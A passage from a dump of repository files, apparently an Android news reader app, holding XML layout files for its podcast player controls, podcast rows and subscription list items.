android:layout_height=\"0dip\"\n                android:layout_weight=\"1\"\n                android:gravity=\"center\"\n                android:textStyle=\"bold\"\n                android:ellipsize=\"end\"\n                android:maxLines=\"2\"\n                android:textColor=\"@color/primaryTextColor\"\n                android:layout_marginStart=\"@dimen/podcast_horizontal_margin\"\n                android:layout_marginEnd=\"@dimen/podcast_horizontal_margin\"\n                android:text=\"@string/no_podcast_selected\"\n                android:textSize=\"18sp\" />\n\n            <!--\n            <TextView\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:text=\"Slide down or press the back button to return\"\n                android:gravity=\"center\"\n                android:layout_marginBottom=\"10dp\"/>\n            -->\n        </LinearLayout>\n\n\n    </ViewSwitcher>\n\n    <View\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"5dp\"\n        android:background=\"@drawable/background_with_shadow\" />\n\n    <!--\n    <View\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"2dp\"\n        android:background=\"@android:color/holo_blue_light\"/>\n    -->\n\n\n    <!-- DRAG VIEW -->\n    <RelativeLayout\n        android:id=\"@+id/rlPodcast\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"0dip\"\n        android:layout_weight=\"1\"\n        android:paddingStart=\"@dimen/podcast_horizontal_margin\"\n        android:paddingEnd=\"@dimen/podcast_horizontal_margin\">\n        <!--\n        android:paddingStart=\"@dimen/activity_horizontal_margin\"\n        android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n        -->\n\n        <!--\n        <it.gmariotti.cardslib.library.view.CardListView\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:id=\"@+id/podcastFeedList\"\n            android:verticalSpacing=\"30dp\"\n            android:horizontalSpacing=\"20dp\"\n            card:list_card_layout_resourceID=\"@layout/list_card_feed_podcast\" />\n        -->\n\n        <ListView\n            android:id=\"@+id/podcastFeedList\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\" />\n\n        <ListView\n            android:id=\"@+id/podcastTitleGrid\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\" />\n\n        <TextView\n            android:id=\"@+id/tv_no_podcasts_available\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:gravity=\"center\"\n            android:text=\"@string/no_chapters_available\"\n            android:textSize=\"18sp\"\n            android:textColor=\"@color/divider_row_color\"/>\n\n        <Button\n            android:id=\"@+id/btn_exit_podcast\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:gravity=\"center\"\n            android:text=\"@string/exit_playback\"\n            android:textSize=\"18sp\"\n            android:layout_marginBottom=\"16dp\"\n            android:layout_alignBottom=\"@id/tv_no_podcasts_available\" />\n\n        <!--\n        <it.gmariotti.cardslib.library.view.CardGridView\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:columnWidth=\"190dp\"\n            android:numColumns=\"auto_fit\"\n            android:verticalSpacing=\"3dp\"\n            android:horizontalSpacing=\"2dp\"\n            android:stretchMode=\"columnWidth\"\n            android:gravity=\"center\"\n            android:id=\"@+id/podcastFeedList\"/>\n\n        <it.gmariotti.cardslib.library.view.CardGridView\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:columnWidth=\"190dp\"\n            android:numColumns=\"auto_fit\"\n            android:verticalSpacing=\"3dp\"\n            android:horizontalSpacing=\"2dp\"\n            android:stretchMode=\"columnWidth\"\n            android:gravity=\"center\"\n            android:id=\"@+id/podcastTitleGrid\"/>\n            -->\n    </RelativeLayout>\n\n\n    <View\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"5dp\"\n        android:rotation=\"180\"\n        android:background=\"@drawable/background_with_shadow\" />\n\n    <!-- media playback ui should always use ltr direction -->\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"@dimen/podcast_media_control_height\"\n        android:paddingStart=\"@dimen/podcast_horizontal_margin\"\n        android:paddingEnd=\"@dimen/podcast_horizontal_margin\"\n        android:background=\"?attr/colorSecondaryContainer\"\n        android:orientation=\"vertical\"\n        android:layoutDirection=\"ltr\">\n\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:orientation=\"horizontal\">\n\n            <TextView\n                android:id=\"@+id/tv_fromSlider\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:textColor=\"@color/primaryTextColor\"\n                tools:text=\"000:00\"\n                android:minWidth=\"50dp\"\n                android:layout_gravity=\"center_vertical\" />\n\n\n            <FrameLayout\n                android:layout_marginStart=\"5dp\"\n                android:layout_marginEnd=\"5dp\"\n                android:layout_width=\"0dip\"\n                android:layout_height=\"wrap_content\"\n                android:layout_weight=\"1\"\n                android:gravity=\"center\">\n\n                <SeekBar\n                    android:id=\"@+id/sb_progress\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"match_parent\"\n                    android:progress=\"0\"\n                    android:max=\"100\" />\n\n                <ProgressBar\n                    android:id=\"@+id/pb_progress2\"\n                    style=\"?android:attr/progressBarStyleHorizontal\"\n                    android:layout_marginStart=\"5dp\"\n                    android:layout_marginEnd=\"5dp\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"match_parent\"\n                    android:indeterminate=\"true\" />\n\n            </FrameLayout>\n\n            <TextView\n                android:id=\"@+id/tv_ToSlider\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:textColor=\"@color/primaryTextColor\"\n                android:gravity=\"right\"\n                tools:text=\"000:00\"\n                android:minWidth=\"50dp\"\n                android:layout_gravity=\"center_vertical\" />\n\n        </LinearLayout>\n\n\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:orientation=\"horizontal\"\n            android:gravity=\"center\">\n\n\n            <ImageButton\n                android:id=\"@+id/btn_previousPodcastSlider\"\n                android:layout_width=\"40dp\"\n                android:layout_height=\"40dp\"\n                android:layout_gravity=\"center\"\n                android:layout_marginEnd=\"20dp\"\n                android:src=\"@drawable/ic_replay_10_24\"\n                app:tint=\"?attr/colorOnSecondaryContainer\"\n                android:background=\"?attr/selectableItemBackgroundBorderless\"\n                android:cropToPadding=\"false\"\n                android:scaleType=\"fitXY\"\n                android:contentDescription=\"@string/content_desc_rewind\"/>\n\n            <ImageButton\n                android:id=\"@+id/btn_playPausePodcastSlider\"\n                android:layout_width=\"45dp\"\n                android:layout_height=\"45dp\"\n                android:layout_gravity=\"center_horizontal\"\n                android:layout_marginEnd=\"20dp\"\n                app:srcCompat=\"@drawable/ic_baseline_play_arrow_24\"\n                app:tint=\"?attr/colorOnSecondaryContainer\"\n                android:background=\"?attr/selectableItemBackgroundBorderless\"\n                android:scaleType=\"fitXY\"\n                android:contentDescription=\"@string/content_desc_play\"/>\n\n            <ImageButton\n                android:id=\"@+id/btn_nextPodcastSlider\"\n                android:layout_width=\"40dp\"\n                android:layout_height=\"40dp\"\n                android:layout_gravity=\"center\"\n                android:src=\"@drawable/ic_forward_30_24\"\n                app:tint=\"?attr/colorOnSecondaryContainer\"\n                android:background=\"?attr/selectableItemBackgroundBorderless\"\n                android:scaleType=\"fitXY\"\n                android:contentDescription=\"@string/content_desc_forward\"/>\n\n            <ImageButton\n                android:id=\"@+id/btn_podcastSpeed\"\n                android:layout_width=\"40dp\"\n                android:layout_height=\"40dp\"\n                android:layout_gravity=\"center\"\n                android:src=\"@drawable/ic_slow_motion_video_24\"\n                app:tint=\"?attr/colorOnSecondaryContainer\"\n                android:background=\"?attr/selectableItemBackgroundBorderless\"\n                android:scaleType=\"fitXY\"\n                android:layout_marginStart=\"36dp\"\n                android:contentDescription=\"@string/content_desc_playback_speed\"/>\n\n\n        </LinearLayout>\n\n    </LinearLayout>\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/podcast_feed_row.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"70dp\"\n    android:padding=\"10dp\"\n    android:gravity=\"center_vertical\" >\n\n    <TextView\n        android:id=\"@+id/tv_title\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:textSize=\"18sp\"\n        android:textStyle=\"bold\"\n        tools:text=\"Large Text\"\n        android:singleLine=\"true\"\n        android:textColor=\"#ff161616\"\n        android:ellipsize=\"end\" />\n\n\n\n    <TextView\n        android:id=\"@+id/tv_body\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:textSize=\"16sp\"\n        android:textColor=\"#ff161616\"\n        tools:text=\"3 Podcasts verfügbar!\" />\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/podcast_row.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:orientation=\"horizontal\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:paddingStart=\"10dp\"\n    android:paddingTop=\"10dp\"\n    android:paddingBottom=\"10dp\"\n    android:gravity=\"center_vertical\">\n\n    <LinearLayout\n        android:layout_width=\"0dp\"\n        android:layout_weight=\"1\"\n        android:layout_height=\"match_parent\"\n        android:orientation=\"vertical\">\n\n\n        <TextView\n            android:id=\"@+id/tv_title\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"40dp\"\n            android:textSize=\"16sp\"\n            android:textStyle=\"bold\"\n            tools:text=\"Large text - this is a very long line of text and may break.\"\n            android:textColor=\"#ff161616\"\n            android:ellipsize=\"end\"\n            android:maxLines=\"2\" />\n\n\n        <TextView\n            android:id=\"@+id/tv_body\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:textSize=\"15sp\"\n            tools:text=\"3 podcasts available!\"\n            android:textColor=\"#ff161616\" />\n\n\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\">\n\n            <!-- media playback ui should always use ltr direction -->\n            <ProgressBar\n                style=\"?android:attr/progressBarStyleHorizontal\"\n                android:id=\"@+id/pbDownloadPodcast\"\n                android:layout_width=\"0dip\"\n                android:layout_weight=\"1\"\n                android:layout_height=\"match_parent\"\n                android:gravity=\"center\"\n                android:max=\"100\"\n                android:progress=\"0\"\n                android:layoutDirection=\"ltr\"/>\n\n            <TextView\n                android:id=\"@+id/tvDownloadPodcastProgress\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"match_parent\"\n                android:layout_marginStart=\"10dp\"\n                tools:text=\"100%\"\n                android:gravity=\"center_vertical\"\n                android:textColor=\"#ff161616\"/>\n        </LinearLayout>\n\n    </LinearLayout>\n\n    <FrameLayout\n        android:id=\"@+id/fl_deletePodcastWrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"match_parent\"\n        android:layout_gravity=\"center\"\n        android:paddingEnd=\"@dimen/podcast_horizontal_margin\">\n\n        <ImageButton\n            android:id=\"@+id/btn_deletePodcast\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:duplicateParentState=\"true\"\n            android:clickable=\"false\"\n            android:focusable=\"false\"\n            android:layout_gravity=\"center\"\n            android:background=\"@drawable/ic_action_delete_24\"\n            android:contentDescription=\"@string/content_desc_delete\"/>\n\n    </FrameLayout>\n\n    <FrameLayout\n        android:id=\"@+id/fl_downloadPodcastWrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"match_parent\"\n        android:layout_gravity=\"center\"\n        android:paddingEnd=\"@dimen/podcast_horizontal_margin\">\n\n        <ImageButton\n            android:id=\"@+id/btn_downloadPodcast\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:duplicateParentState=\"true\"\n            android:clickable=\"false\"\n            android:focusable=\"false\"\n            android:layout_gravity=\"center\"\n            android:background=\"@drawable/ic_action_download_24\"\n            android:contentDescription=\"@string/content_desc_download\"/>\n\n    </FrameLayout>\n\n\n    <FrameLayout\n        android:id=\"@+id/fl_PlayPodcastWrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"match_parent\"\n        android:layout_gravity=\"center\"\n        android:paddingEnd=\"@dimen/podcast_horizontal_margin\">\n\n        <ImageButton\n            android:id=\"@+id/btn_playPodcast\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:duplicateParentState=\"true\"\n            android:clickable=\"false\"\n            android:focusable=\"false\"\n            android:layout_gravity=\"center\"\n            app:srcCompat=\"@drawable/ic_baseline_play_arrow_24\"\n            android:contentDescription=\"@string/content_desc_play\"/>\n\n    </FrameLayout>\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/progressbar_item.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"80dp\" >\n\n    <ProgressBar\n        android:id=\"@+id/progressBar\"\n        android:layout_width=\"50dp\"\n        android:layout_centerHorizontal=\"true\"\n        android:layout_centerVertical=\"true\"\n        android:layout_height=\"50dp\" />\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_card_view.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<androidx.cardview.widget.CardView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:card_view=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_margin=\"10dp\"\n    android:layout_width=\"match_parent\"\n    card_view:cardCornerRadius=\"4dp\"\n    android:id=\"@+id/scrap_trailer_container\"\n    android:layout_height=\"wrap_content\">\n    <LinearLayout\n\n        android:layout_height=\"wrap_content\"\n        android:layout_width=\"wrap_content\"\n        android:id=\"@+id/container\"\n        android:background=\"?attr/selectableItemBackground\">\n\n        <View\n            android:id=\"@+id/color_line_feed\"\n            android:layout_height=\"match_parent\"\n            android:layout_width=\"4dp\"\n            android:visibility=\"gone\"\n            android:background=\"?attr/dividerLineColor\"\n            />\n\n        <RelativeLayout\n            android:layout_marginStart=\"@dimen/listview_row_margin_left\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:descendantFocusability=\"blocksDescendants\"\n            android:layout_marginTop=\"@dimen/listview_row_margin_top\"\n            android:layout_marginBottom=\"@dimen/listview_row_margin_bottom\"\n            android:id=\"@+id/list_item_header\">\n\n            <!--\n            android:background=\"@drawable/checkbox_background\"\n                android:button=\"@drawable/checkbox\"\n             -->\n\n\n            <ImageView\n                android:layout_width=\"15dp\"\n                android:layout_height=\"15dp\"\n                android:id=\"@+id/imgViewFavIcon\"\n                tools:src=\"@drawable/default_feed_icon_light\"\n                android:layout_alignStart=\"@+id/summary\"\n                android:layout_marginTop=\"3dp\"\n                android:layout_marginEnd=\"5dp\"\n                android:layout_alignParentStart=\"true\"\n                android:contentDescription=\"@string/content_desc_none\"/>\n\n            <TextView\n                android:id=\"@+id/tv_subscription\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:ellipsize=\"end\"\n                android:gravity=\"center_vertical|start\"\n                android:singleLine=\"true\"\n                tools:text=\"Subscription\"\n                android:textSize=\"15sp\"\n                android:textColor=\"@color/material_grey_500\"\n                android:textAlignment=\"viewStart\"\n                android:layout_alignParentTop=\"true\"\n                android:layout_toEndOf=\"@+id/imgViewFavIcon\"\n                android:layout_toStartOf=\"@+id/tv_item_date\"  />\n\n            <TextView\n                android:id=\"@+id/tv_item_date\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:gravity=\"center_vertical\"\n                android:layout_gravity=\"end\"\n                tools:text=\"21.09.2013\"\n                android:singleLine=\"true\"\n                android:textSize=\"15sp\"\n                android:textColor=\"@color/material_grey_500\"\n                android:layout_marginEnd=\"@dimen/listview_row_margin_right\"\n                android:layout_alignParentTop=\"true\"\n                android:layout_alignParentEnd=\"true\" />\n\n            <TextView\n                android:id=\"@+id/summary\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:ellipsize=\"end\"\n                android:gravity=\"center_vertical|start\"\n                android:textAlignment=\"viewStart\"\n                android:textSize=\"17sp\"\n                tools:text=\"Summary\"\n                android:textStyle=\"bold\"\n                android:textColor=\"?attr/primaryTextColor\"\n                android:layout_below=\"@+id/imgViewFavIcon\"\n                android:layout_toStartOf=\"@+id/podcast_wrapper\"\n                android:maxLines=\"4\"\n                android:layout_marginTop=\"5dp\"\n                android:layout_alignParentStart=\"true\" />\n\n            <TextView\n                android:id=\"@+id/body\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:gravity=\"start\"\n                android:textAlignment=\"viewStart\"\n                android:ellipsize=\"end\"\n                tools:text=\"Body\"\n                android:textColor=\"@color/text_medium_emphasis\"\n                android:textSize=\"14sp\"\n                android:autoLink=\"none\"\n                android:layout_below=\"@+id/summary\"\n                android:maxLines=\"4\"\n                android:layout_marginTop=\"5dp\"\n                android:paddingBottom=\"@dimen/listview_row_margin_bottom\"\n                android:layout_alignParentStart=\"true\"\n                android:layout_toStartOf=\"@+id/podcast_wrapper\"/>\n\n            <ImageView\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:id=\"@+id/star_imageview\"\n                android:layout_marginTop=\"15dp\"\n                android:paddingTop=\"20dp\"\n                android:paddingBottom=\"20dp\"\n                android:paddingStart=\"8dp\"\n                android:layout_gravity=\"center_vertical\"\n                android:src=\"@drawable/ic_star_black_24dp\"\n                app:tint=\"?attr/starredColor\"\n                android:layout_alignParentEnd=\"true\"\n                android:paddingEnd=\"@dimen/listview_row_margin_left\"\n                android:contentDescription=\"@string/content_desc_add_to_favorites\" />\n\n            <include\n                layout=\"@layout/subscription_detail_list_item_podcast_wrapper\"\n                android:layout_height=\"wrap_content\"\n                android:layout_width=\"wrap_content\"\n                android:layout_marginStart=\"5dp\"\n                android:layout_marginEnd=\"5dp\"\n                android:layout_marginBottom=\"5dp\"\n                android:layout_marginTop=\"22dp\"\n                android:id=\"@+id/podcast_wrapper\"\n                android:layout_toStartOf=\"@id/star_imageview\" />\n\n        </RelativeLayout>\n    </LinearLayout>\n</androidx.cardview.widget.CardView>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_headline.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_height=\"wrap_content\"\n    android:layout_width=\"wrap_content\"\n    android:background=\"?attr/selectableItemBackground\">\n\n    <View\n        android:id=\"@+id/color_line_feed\"\n        android:layout_height=\"match_parent\"\n        android:layout_width=\"4dp\"\n        android:background=\"?attr/dividerLineColor\"\n        android:layout_marginEnd=\"@dimen/listview_row_margin_left\"/>\n\n    <RelativeLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:descendantFocusability=\"blocksDescendants\"\n        android:layout_marginTop=\"@dimen/listview_row_margin_top\"\n        android:layout_marginBottom=\"@dimen/listview_row_margin_bottom\"\n        android:id=\"@+id/list_item_header\">\n\n        <TextView\n            android:id=\"@+id/summary\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:gravity=\"start\"\n            android:textAlignment=\"viewStart\"\n            android:ellipsize=\"end\"\n            android:lines=\"2\"\n            android:textSize=\"17sp\"\n            android:textStyle=\"bold\"\n            tools:text=\"Summary Text\\nSecond Line\"\n            android:textColor=\"?attr/primaryTextColor\"\n            android:layout_alignParentStart=\"true\"\n            android:minLines=\"2\"\n            android:maxLines=\"2\"\n            android:layout_alignParentTop=\"true\"\n            android:layout_toStartOf=\"@+id/podcast_wrapper\"/>\n\n        <ImageView\n            android:id=\"@+id/imgViewFavIcon\"\n            android:layout_width=\"15dp\"\n            android:layout_height=\"15dp\"\n            android:layout_below=\"@+id/summary\"\n            android:layout_marginEnd=\"5dp\"\n            android:layout_alignParentStart=\"true\"\n            tools:src=\"@drawable/default_feed_icon_light\"\n            android:layout_marginTop=\"2dp\"\n            android:contentDescription=\"@string/content_desc_none\"/>\n\n        <TextView\n            android:id=\"@+id/tv_subscription\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:gravity=\"start\"\n            android:textAlignment=\"viewStart\"\n            android:ellipsize=\"end\"\n            android:singleLine=\"true\"\n            android:textSize=\"13sp\"\n            tools:text=\"PortableApps.com\"\n            android:textColor=\"@color/material_grey_500\"\n            android:layout_below=\"@+id/summary\"\n            android:layout_toStartOf=\"@+id/tv_item_date\"\n            android:layout_toEndOf=\"@+id/imgViewFavIcon\"/>\n\n        <TextView\n            android:id=\"@+id/tv_item_date\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:ellipsize=\"end\"\n            android:singleLine=\"true\"\n            android:textSize=\"13sp\"\n            tools:text=\"vor 13 Stunden\"\n            android:textColor=\"@color/material_grey_500\"\n            android:layout_marginEnd=\"@dimen/listview_row_margin_right\"\n            android:layout_toStartOf=\"@+id/podcast_wrapper\"\n            android:layout_alignParentEnd=\"true\"\n            android:layout_alignBaseline=\"@id/tv_subscription\"/>\n\n\n        <ImageView\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:id=\"@+id/star_imageview\"\n            android:paddingTop=\"8dp\"\n            android:paddingBottom=\"15dp\"\n            android:paddingStart=\"8dp\"\n            android:paddingEnd=\"@dimen/listview_row_margin_right\"\n            android:layout_gravity=\"center_vertical\"\n            android:src=\"@drawable/ic_star_white_24\"\n            app:tint=\"?attr/starredColor\"\n            android:layout_alignParentEnd=\"true\"\n            android:contentDescription=\"@string/content_desc_add_to_favorites\"/>\n\n        <!-- note that by using a fixed size of 40, we're cutting off the progressbar around the\n             play/pause button -->\n        <include\n            layout=\"@layout/subscription_detail_list_item_podcast_wrapper\"\n            android:layout_height=\"40dp\"\n            android:layout_width=\"40dp\"\n            android:layout_marginTop=\"1dp\"\n            android:id=\"@+id/podcast_wrapper\"\n            android:layout_toStartOf=\"@id/star_imageview\"/>\n\n    </RelativeLayout>\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_headline_thumbnail.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<androidx.constraintlayout.widget.ConstraintLayout android:id=\"@+id/list_item_header\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"124dp\"\n    android:paddingTop=\"@dimen/listview_row_margin_top\"\n    android:paddingBottom=\"@dimen/listview_row_margin_bottom\"\n    android:descendantFocusability=\"blocksDescendants\"\n    android:paddingStart=\"@dimen/listview_row_margin_left\"\n    android:paddingEnd=\"@dimen/listview_row_margin_right\"\n    android:background=\"?attr/selectableItemBackground\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\">\n\n        <androidx.constraintlayout.widget.ConstraintLayout\n            app:layout_constraintStart_toStartOf=\"parent\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            app:layout_constraintBottom_toBottomOf=\"parent\"\n            app:layout_constraintEnd_toStartOf=\"@id/imgViewThumbnail\"\n            android:layout_marginEnd=\"16dp\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\">\n\n                <TextView\n                    android:id=\"@+id/summary\"\n                    android:layout_width=\"0dp\"\n                    android:layout_height=\"wrap_content\"\n                    android:lineSpacingMultiplier=\"1.2\"\n                    android:maxLines=\"3\"\n                    android:textColor=\"?attr/primaryTextColor\"\n                    android:textSize=\"17sp\"\n                    android:textStyle=\"bold\"\n                    android:ellipsize=\"end\"\n                    app:layout_constraintStart_toStartOf=\"parent\"\n                    app:layout_constraintEnd_toEndOf=\"parent\"\n                    app:layout_constraintTop_toTopOf=\"parent\"\n                    tools:text=\"Some very long text that can fill up to three lines and still fits on the screen! So cool! Pretty good design\" />\n\n                <ImageView\n                    android:id=\"@+id/imgViewFavIcon\"\n                    android:layout_width=\"18dp\"\n                    android:layout_height=\"18dp\"\n                    android:layout_below=\"@id/summary\"\n                    android:layout_alignParentStart=\"true\"\n                    android:layout_marginTop=\"8dp\"\n                    android:contentDescription=\"@string/content_desc_none\"\n                    app:layout_constraintTop_toBottomOf=\"@id/summary\"\n                    app:layout_constraintStart_toStartOf=\"parent\"\n                    tools:src=\"@drawable/default_feed_icon_light\" />\n\n\n                <ImageView\n                    android:id=\"@+id/star_imageview\"\n                    android:layout_width=\"18dp\"\n                    android:layout_height=\"18dp\"\n                    android:layout_marginStart=\"8dp\"\n                    android:layout_marginTop=\"8dp\"\n                    android:contentDescription=\"@string/content_desc_add_to_favorites\"\n                    android:src=\"@drawable/ic_star_white_24\"\n                    app:layout_constraintStart_toEndOf=\"@id/imgViewFavIcon\"\n                    app:layout_constraintTop_toBottomOf=\"@id/summary\"\n                    app:tint=\"?attr/starredColor\" />\n\n                <TextView\n                    android:id=\"@+id/tv_subscription\"\n                    android:layout_width=\"0dp\"\n                    android:layout_height=\"wrap_content\"\n                    android:layout_below=\"@id/summary\"\n                    android:ellipsize=\"middle\"\n                    android:gravity=\"start\"\n                    android:singleLine=\"true\"\n                    android:textAlignment=\"viewStart\"\n                    android:textColor=\"@color/material_grey_500\"\n                    android:textSize=\"13sp\"\n                    android:layout_marginStart=\"8dp\"\n                    android:layout_marginTop=\"8dp\"\n                    app:layout_constraintTop_toBottomOf=\"@id/summary\"\n                    app:layout_constraintStart_toEndOf=\"@id/star_imageview\"\n                    app:layout_constraintEnd_toEndOf=\"parent\"\n                    tools:text=\"Caschys Blo ds d dsadadsaaddsdadaasdasdadasdad\" />\n\n\n        </androidx.constraintlayout.widget.ConstraintLayout>\n\n        <ImageView\n            android:id=\"@+id/imgViewThumbnail\"\n            android:layout_width=\"88dp\"\n            android:layout_height=\"88dp\"\n            android:visibility=\"visible\"\n            android:contentDescription=\"@string/img_view_thumbnail\"\n            android:scaleType=\"centerCrop\"\n            app:layout_constraintEnd_toEndOf=\"parent\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            tools:src=\"@drawable/feed_icon\" />\n\n        <include\n            android:id=\"@+id/podcast_wrapper\"\n            layout=\"@layout/subscription_detail_list_item_podcast_wrapper\"\n            android:layout_width=\"88dp\"\n            android:layout_height=\"88dp\"\n            app:layout_constraintEnd_toEndOf=\"parent\"\n            app:layout_constraintTop_toTopOf=\"parent\" />\n\n\n\n    </androidx.constraintlayout.widget.ConstraintLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_podcast_wrapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<FrameLayout xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@+id/fl_playPausePodcastWrapper\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"\n    android:visibility=\"visible\"\n    android:padding=\"10dp\"\n    tools:showIn=\"@layout/subscription_detail_list_item_thumbnail\">\n\n    <ImageView\n        android:id=\"@+id/btn_playPausePodcast\"\n        android:layout_width=\"40dp\"\n        android:layout_height=\"40dp\"\n        android:layout_gravity=\"center\"\n        app:tint=\"?attr/colorOnSecondaryContainer\"\n        android:contentDescription=\"@string/content_desc_pause\"\n        android:src=\"@drawable/ic_action_pause_24\" />\n\n    <ProgressBar\n        android:id=\"@+id/podcastDownloadProgress\"\n        android:indeterminate=\"false\"\n        android:layout_width=\"50dp\"\n        android:layout_height=\"50dp\"\n        style=\"?android:attr/progressBarStyleHorizontal\"\n        android:max=\"100\"\n        android:progress=\"90\"\n        android:layout_gravity=\"center\"\n        android:progressDrawable=\"@drawable/custom_progress\"/>\n\n    <!--\n    <com.pascalwelsch.holocircularprogressbar.HoloCircularProgressBar\n        android:id=\"@+id/podcastDownloadProgress\"\n        android:layout_width=\"30dp\"\n        android:layout_height=\"30dp\"\n\n        app:stroke_width=\"2dp\"\n        app:progress_color=\"@color/nextcloudBlue\"\n        app:progress_background_color=\"#8e8e8e\"\n        app:marker_visible=\"false\"\n        app:thumb_visible=\"false\"\n        android:layout_gravity=\"center\" />\n    -->\n\n</FrameLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/subscription_detail_list_item_text.xml",
